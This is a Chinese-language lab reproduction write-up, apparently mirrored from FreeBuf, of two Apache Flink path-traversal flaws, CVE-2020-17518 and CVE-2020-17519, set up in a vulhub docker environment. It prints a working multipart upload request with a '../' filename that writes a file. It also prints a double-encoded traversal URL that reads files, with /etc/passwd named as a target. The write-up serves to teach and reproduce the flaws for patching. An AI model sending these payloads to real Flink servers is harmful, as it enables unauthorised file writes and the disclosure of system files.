5

Apache Flink CVE-2020-17518CVE-2020-17519文件操作漏洞分析

 3 years ago
source link: https://www.freebuf.com/vuls/261473.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00简介

Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

0x01漏洞概述

CVE-2020-17519

Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

CVE-2020-17518

Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。

0x02影响范围

CVE-2020-17519

1.11.0

1.11.1

1.11.2

CVE-2020-17518

Flink 1.5.1-1.11.2

0x03环境搭建

1.本次漏洞环境使用vulhub的docker环境搭建,vulhub下载地址:

https://github.com/vulhub/vulhub/

2.下载完成后传入装有docker和docker-compose环境的虚拟机,进入目录

cd vulhub-master/flink/CVE-2020-17519/

qIriauE.jpg!mobile

3.使用docker-compose up -d 拉取漏洞环境,因17519的漏洞环境版本是1.11.2所以复现两个漏洞只需要一个漏洞环境即可。出现”done”表示拉取成功

NZrIRrQ.jpg!mobile

4.在浏览器输入http://your-ip:8081查看页面

YBRZbi2.jpg!mobile

0x04漏洞复现

CVE-2020-17518复现

1、首先我们先使用CVE-2020-17518漏洞写入文件,在首页抓包构造以下构建数据包进行发送

POST /jars/upload HTTP/1.1

Host: your-ip:8081

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=--------721072898

Content-Length: 149

----------721072898

Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../tmp/success"

success

----------721072898--

rMveUnE.jpg!mobile

mI7fAzM.jpg!mobile

2.上面数据包返回的虽然是400但是已经写入到docker中,进去docker查看

U7FzMfi.jpg!mobile

CVE-2020-17519复现

1.上面写入后要是不能进入docker查看这里可以利用CVE-2020-17519漏洞进行文件读取,在页面首页输入以下payload查看tmp目录下的文件

http://172.16.1.147:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess

feMnIn3.jpg!mobile

2.修改后面的payload改为查看etc下的passwd文件

i6JBjyA.jpg!mobile

0x05修复建议

建议升级到安全版本或最新版本。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK